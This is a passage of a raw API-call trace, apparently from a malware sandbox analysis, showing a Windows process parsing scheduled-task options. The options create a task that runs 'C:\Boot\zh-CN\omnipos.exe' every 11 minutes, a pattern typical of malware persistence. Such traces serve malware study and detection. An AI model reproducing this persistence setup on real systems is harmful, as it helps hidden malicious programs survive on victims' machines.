lstrlenW (lpString="|?|") returned 3 [0091.578] lstrlenW (lpString="|sc|") returned 4 [0091.578] SetLastError (dwErrCode=0x490) [0091.578] lstrlenW (lpString="create") returned 6 [0091.579] lstrlenW (lpString="create") returned 6 [0091.579] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.579] lstrlenW (lpString="sc") returned 2 [0091.579] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.579] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|create|") returned 8 [0091.579] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|sc|") returned 4 [0091.579] lstrlenW (lpString="|create|") returned 8 [0091.579] lstrlenW (lpString="|sc|") returned 4 [0091.579] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0091.579] SetLastError (dwErrCode=0x490) [0091.579] lstrlenW (lpString="delete") returned 6 [0091.579] lstrlenW (lpString="delete") returned 6 [0091.579] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.579] lstrlenW (lpString="sc") returned 2 [0091.579] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.579] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|delete|") returned 8 [0091.579] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|sc|") returned 4 [0091.579] lstrlenW (lpString="|delete|") returned 8 [0091.579] lstrlenW (lpString="|sc|") returned 4 [0091.579] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0091.579] SetLastError (dwErrCode=0x490) [0091.579] lstrlenW (lpString="query") returned 5 [0091.579] lstrlenW (lpString="query") returned 5 [0091.579] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.580] lstrlenW (lpString="sc") returned 2 [0091.580] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.580] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|query|") returned 7 [0091.627] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|sc|") returned 4 [0091.627] lstrlenW (lpString="|query|") returned 7 [0091.627] lstrlenW (lpString="|sc|") returned 4 [0091.627] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0091.627] SetLastError (dwErrCode=0x490) [0091.627] lstrlenW (lpString="change") returned 6 [0091.627] lstrlenW (lpString="change") returned 6 [0091.627] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.627] lstrlenW (lpString="sc") returned 2 [0091.627] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.627] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|change|") returned 8 [0091.627] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|sc|") returned 4 [0091.627] lstrlenW (lpString="|change|") returned 8 [0091.627] lstrlenW (lpString="|sc|") returned 4 [0091.628] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0091.628] SetLastError (dwErrCode=0x490) [0091.628] lstrlenW (lpString="run") returned 3 [0091.628] lstrlenW (lpString="run") returned 3 [0091.628] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.628] lstrlenW (lpString="sc") returned 2 [0091.628] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.628] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|run|") returned 5 [0091.628] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|sc|") returned 4 [0091.628] lstrlenW (lpString="|run|") returned 5 [0091.628] lstrlenW (lpString="|sc|") returned 4 [0091.628] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0091.628] SetLastError (dwErrCode=0x490) [0091.628] lstrlenW (lpString="end") returned 3 [0091.628] lstrlenW (lpString="end") returned 3 [0091.628] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.628] lstrlenW (lpString="sc") returned 2 [0091.628] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.628] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|end|") returned 5 [0091.628] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|sc|") returned 4 [0091.628] lstrlenW (lpString="|end|") returned 5 [0091.628] lstrlenW (lpString="|sc|") returned 4 [0091.628] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0091.628] SetLastError (dwErrCode=0x490) [0091.629] lstrlenW (lpString="showsid") returned 7 [0091.629] lstrlenW (lpString="showsid") returned 7 [0091.629] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.629] lstrlenW (lpString="sc") returned 2 [0091.629] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.629] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|showsid|") returned 9 [0091.629] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|sc|") returned 4 [0091.629] lstrlenW (lpString="|showsid|") returned 9 [0091.629] lstrlenW (lpString="|sc|") returned 4 [0091.629] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0091.629] SetLastError (dwErrCode=0x490) [0091.629] SetLastError (dwErrCode=0x490) [0091.629] SetLastError (dwErrCode=0x0) [0091.629] lstrlenW (lpString="/sc") returned 3 [0091.629] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0091.629] SetLastError (dwErrCode=0x490) [0091.629] SetLastError (dwErrCode=0x0) [0091.629] lstrlenW (lpString="/sc") returned 3 [0091.629] GetProcessHeap () returned 0x2d0000 [0091.629] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec390 [0091.629] GetProcessHeap () returned 0x2d0000 [0091.629] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd70 [0091.629] SetLastError (dwErrCode=0x0) [0091.629] SetLastError (dwErrCode=0x0) [0091.629] lstrlenW (lpString="MINUTE") returned 6 [0091.630] lstrlenW (lpString="-/") returned 2 [0091.630] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0091.630] SetLastError (dwErrCode=0x490) [0091.630] SetLastError (dwErrCode=0x490) [0091.630] SetLastError (dwErrCode=0x0) [0091.630] lstrlenW (lpString="MINUTE") returned 6 [0091.630] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0091.630] SetLastError (dwErrCode=0x490) [0091.630] SetLastError (dwErrCode=0x0) [0091.630] lstrlenW (lpString="MINUTE") returned 6 [0091.630] GetProcessHeap () returned 0x2d0000 [0091.630] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ec3b0 [0091.630] GetProcessHeap () returned 0x2d0000 [0091.630] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecda0 [0091.630] SetLastError (dwErrCode=0x0) [0091.630] SetLastError (dwErrCode=0x0) [0091.630] lstrlenW (lpString="/mo") returned 3 [0091.630] lstrlenW (lpString="-/") returned 2 [0091.630] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.630] lstrlenW (lpString="?") returned 1 [0091.630] lstrlenW (lpString="?") returned 1 [0091.630] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.630] lstrlenW (lpString="mo") returned 2 [0091.630] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.630] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|?|") returned 3 [0091.630] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|mo|") returned 4 [0091.631] lstrlenW (lpString="|?|") returned 3 [0091.631] lstrlenW (lpString="|mo|") returned 4 [0091.631] SetLastError (dwErrCode=0x490) [0091.631] lstrlenW (lpString="create") returned 6 [0091.631] lstrlenW (lpString="create") returned 6 [0091.631] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.631] lstrlenW (lpString="mo") returned 2 [0091.631] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.631] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|create|") returned 8 [0091.631] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|mo|") returned 4 [0091.631] lstrlenW (lpString="|create|") returned 8 [0091.631] lstrlenW (lpString="|mo|") returned 4 [0091.631] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0091.631] SetLastError (dwErrCode=0x490) [0091.631] lstrlenW (lpString="delete") returned 6 [0091.631] lstrlenW (lpString="delete") returned 6 [0091.631] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.631] lstrlenW (lpString="mo") returned 2 [0091.631] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.631] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|delete|") returned 8 [0091.631] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|mo|") returned 4 [0091.631] lstrlenW (lpString="|delete|") returned 8 [0091.631] lstrlenW (lpString="|mo|") returned 4 [0091.631] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0091.631] SetLastError (dwErrCode=0x490) [0091.632] lstrlenW (lpString="query") returned 5 [0091.632] lstrlenW (lpString="query") returned 5 [0091.632] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.632] lstrlenW (lpString="mo") returned 2 [0091.632] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.632] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|query|") returned 7 [0091.632] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|mo|") returned 4 [0091.632] lstrlenW (lpString="|query|") returned 7 [0091.632] lstrlenW (lpString="|mo|") returned 4 [0091.632] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0091.632] SetLastError (dwErrCode=0x490) [0091.632] lstrlenW (lpString="change") returned 6 [0091.632] lstrlenW (lpString="change") returned 6 [0091.632] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.632] lstrlenW (lpString="mo") returned 2 [0091.632] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.632] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|change|") returned 8 [0091.632] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|mo|") returned 4 [0091.632] lstrlenW (lpString="|change|") returned 8 [0091.632] lstrlenW (lpString="|mo|") returned 4 [0091.632] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0091.632] SetLastError (dwErrCode=0x490) [0091.632] lstrlenW (lpString="run") returned 3 [0091.632] lstrlenW (lpString="run") returned 3 [0091.632] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.633] lstrlenW (lpString="mo") returned 2 [0091.633] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.633] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|run|") returned 5 [0091.633] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|mo|") returned 4 [0091.633] lstrlenW (lpString="|run|") returned 5 [0091.633] lstrlenW (lpString="|mo|") returned 4 [0091.633] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0091.633] SetLastError (dwErrCode=0x490) [0091.633] lstrlenW (lpString="end") returned 3 [0091.633] lstrlenW (lpString="end") returned 3 [0091.633] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.633] lstrlenW (lpString="mo") returned 2 [0091.633] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.633] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|end|") returned 5 [0091.633] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|mo|") returned 4 [0091.633] lstrlenW (lpString="|end|") returned 5 [0091.633] lstrlenW (lpString="|mo|") returned 4 [0091.633] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0091.633] SetLastError (dwErrCode=0x490) [0091.633] lstrlenW (lpString="showsid") returned 7 [0091.633] lstrlenW (lpString="showsid") returned 7 [0091.633] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.633] lstrlenW (lpString="mo") returned 2 [0091.633] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.633] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|showsid|") returned 9 [0091.634] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|mo|") returned 4 [0091.634] lstrlenW (lpString="|showsid|") returned 9 [0091.634] lstrlenW (lpString="|mo|") returned 4 [0091.634] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0091.634] SetLastError (dwErrCode=0x490) [0091.634] SetLastError (dwErrCode=0x490) [0091.634] SetLastError (dwErrCode=0x0) [0091.634] lstrlenW (lpString="/mo") returned 3 [0091.634] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0091.634] SetLastError (dwErrCode=0x490) [0091.634] SetLastError (dwErrCode=0x0) [0091.634] lstrlenW (lpString="/mo") returned 3 [0091.634] GetProcessHeap () returned 0x2d0000 [0091.634] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec3d0 [0091.634] GetProcessHeap () returned 0x2d0000 [0091.634] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecdd0 [0091.634] SetLastError (dwErrCode=0x0) [0091.634] SetLastError (dwErrCode=0x0) [0091.634] lstrlenW (lpString="11") returned 2 [0091.634] lstrlenW (lpString="-/") returned 2 [0091.634] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0091.634] SetLastError (dwErrCode=0x490) [0091.634] SetLastError (dwErrCode=0x490) [0091.634] SetLastError (dwErrCode=0x0) [0091.634] lstrlenW (lpString="11") returned 2 [0091.634] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0091.634] SetLastError (dwErrCode=0x490) [0091.634] SetLastError (dwErrCode=0x0) [0091.634] lstrlenW (lpString="11") returned 2 [0091.634] GetProcessHeap () returned 0x2d0000 [0091.634] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x6) returned 0x2ec3f0 [0091.634] GetProcessHeap () returned 0x2d0000 [0091.634] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece00 [0091.635] SetLastError (dwErrCode=0x0) [0091.635] SetLastError (dwErrCode=0x0) [0091.635] lstrlenW (lpString="/tr") returned 3 [0091.635] lstrlenW (lpString="-/") returned 2 [0091.635] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.635] lstrlenW (lpString="?") returned 1 [0091.635] lstrlenW (lpString="?") returned 1 [0091.635] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.635] lstrlenW (lpString="tr") returned 2 [0091.635] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.635] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|?|") returned 3 [0091.635] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tr|") returned 4 [0091.635] lstrlenW (lpString="|?|") returned 3 [0091.635] lstrlenW (lpString="|tr|") returned 4 [0091.635] SetLastError (dwErrCode=0x490) [0091.635] lstrlenW (lpString="create") returned 6 [0091.635] lstrlenW (lpString="create") returned 6 [0091.635] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.635] lstrlenW (lpString="tr") returned 2 [0091.635] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.635] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|create|") returned 8 [0091.635] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tr|") returned 4 [0091.635] lstrlenW (lpString="|create|") returned 8 [0091.635] lstrlenW (lpString="|tr|") returned 4 [0091.636] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0091.636] SetLastError (dwErrCode=0x490) [0091.636] lstrlenW (lpString="delete") returned 6 [0091.636] lstrlenW (lpString="delete") returned 6 [0091.636] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.636] lstrlenW (lpString="tr") returned 2 [0091.636] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.636] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|delete|") returned 8 [0091.636] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tr|") returned 4 [0091.636] lstrlenW (lpString="|delete|") returned 8 [0091.636] lstrlenW (lpString="|tr|") returned 4 [0091.636] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0091.636] SetLastError (dwErrCode=0x490) [0091.636] lstrlenW (lpString="query") returned 5 [0091.636] lstrlenW (lpString="query") returned 5 [0091.636] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.636] lstrlenW (lpString="tr") returned 2 [0091.636] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.636] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|query|") returned 7 [0091.636] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tr|") returned 4 [0091.636] lstrlenW (lpString="|query|") returned 7 [0091.636] lstrlenW (lpString="|tr|") returned 4 [0091.636] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0091.637] SetLastError (dwErrCode=0x490) [0091.637] lstrlenW (lpString="change") returned 6 [0091.637] lstrlenW (lpString="change") returned 6 [0091.637] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.637] lstrlenW (lpString="tr") returned 2 [0091.637] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.637] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|change|") returned 8 [0091.637] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tr|") returned 4 [0091.637] lstrlenW (lpString="|change|") returned 8 [0091.637] lstrlenW (lpString="|tr|") returned 4 [0091.637] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0091.637] SetLastError (dwErrCode=0x490) [0091.637] lstrlenW (lpString="run") returned 3 [0091.637] lstrlenW (lpString="run") returned 3 [0091.637] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.637] lstrlenW (lpString="tr") returned 2 [0091.637] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.637] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|run|") returned 5 [0091.637] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tr|") returned 4 [0091.637] lstrlenW (lpString="|run|") returned 5 [0091.637] lstrlenW (lpString="|tr|") returned 4 [0091.637] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0091.637] SetLastError (dwErrCode=0x490) [0091.637] lstrlenW (lpString="end") returned 3 [0091.637] lstrlenW (lpString="end") returned 3 [0091.638] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.638] lstrlenW (lpString="tr") returned 2 [0091.638] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.638] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|end|") returned 5 [0091.638] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tr|") returned 4 [0091.638] lstrlenW (lpString="|end|") returned 5 [0091.638] lstrlenW (lpString="|tr|") returned 4 [0091.638] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0091.638] SetLastError (dwErrCode=0x490) [0091.638] lstrlenW (lpString="showsid") returned 7 [0091.638] lstrlenW (lpString="showsid") returned 7 [0091.638] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.638] lstrlenW (lpString="tr") returned 2 [0091.638] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.638] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|showsid|") returned 9 [0091.638] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|tr|") returned 4 [0091.638] lstrlenW (lpString="|showsid|") returned 9 [0091.638] lstrlenW (lpString="|tr|") returned 4 [0091.638] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0091.638] SetLastError (dwErrCode=0x490) [0091.638] SetLastError (dwErrCode=0x490) [0091.638] SetLastError (dwErrCode=0x0) [0091.638] lstrlenW (lpString="/tr") returned 3 [0091.638] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0091.639] SetLastError (dwErrCode=0x490) [0091.639] SetLastError (dwErrCode=0x0) [0091.639] lstrlenW (lpString="/tr") returned 3 [0091.639] GetProcessHeap () returned 0x2d0000 [0091.639] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec410 [0091.639] GetProcessHeap () returned 0x2d0000 [0091.639] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece30 [0091.639] SetLastError (dwErrCode=0x0) [0091.639] SetLastError (dwErrCode=0x0) [0091.639] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.639] lstrlenW (lpString="-/") returned 2 [0091.639] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0091.639] SetLastError (dwErrCode=0x490) [0091.639] SetLastError (dwErrCode=0x490) [0091.639] SetLastError (dwErrCode=0x0) [0091.639] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.639] StrChrIW (lpStart="'C:\\Boot\\zh-CN\\omnipos.exe'", wMatch=0x3a) returned=":\\Boot\\zh-CN\\omnipos.exe'" [0091.639] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.639] GetProcessHeap () returned 0x2d0000 [0091.639] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec430 [0091.639] _memicmp (_Buf1=0x2ec430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.639] GetProcessHeap () returned 0x2d0000 [0091.639] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ec450 [0091.639] GetProcessHeap () returned 0x2d0000 [0091.640] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed600 [0091.640] _memicmp (_Buf1=0x2ed600, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.640] GetProcessHeap () returned 0x2d0000 [0091.640] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x3a) returned 0x2e93e0 [0091.640] SetLastError (dwErrCode=0x7a) [0091.640] SetLastError (dwErrCode=0x0) [0091.640] SetLastError (dwErrCode=0x0) [0091.640] lstrlenW (lpString="'C") returned 2 [0091.640] lstrlenW (lpString="-/") returned 2 [0091.640] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0091.640] SetLastError (dwErrCode=0x490) [0091.640] SetLastError (dwErrCode=0x490) [0091.640] SetLastError (dwErrCode=0x0) [0091.640] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.640] GetProcessHeap () returned 0x2d0000 [0091.640] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x38) returned 0x2e7bd0 [0091.640] GetProcessHeap () returned 0x2d0000 [0091.640] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece60 [0091.640] SetLastError (dwErrCode=0x0) [0091.640] SetLastError (dwErrCode=0x0) [0091.640] lstrlenW (lpString="/rl") returned 3 [0091.640] lstrlenW (lpString="-/") returned 2 [0091.640] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.640] lstrlenW (lpString="?") returned 1 [0091.640] lstrlenW (lpString="?") returned 1 [0091.640] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.640] lstrlenW (lpString="rl") returned 2 [0091.640] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.641] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|?|") returned 3 [0091.641] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|rl|") returned 4 [0091.641] lstrlenW (lpString="|?|") returned 3 [0091.641] lstrlenW (lpString="|rl|") returned 4 [0091.641] SetLastError (dwErrCode=0x490) [0091.641] lstrlenW (lpString="create") returned 6 [0091.641] lstrlenW (lpString="create") returned 6 [0091.641] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.641] lstrlenW (lpString="rl") returned 2 [0091.641] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.641] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|create|") returned 8 [0091.641] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff538 | out: _Buffer="|rl|") returned 4 [0091.641] lstrlenW (lpString="|create|") returned 8 [0091.641] lstrlenW (lpString="|rl|") returned 4 [0091.641] StrStrIW (lpFirst="|create|", 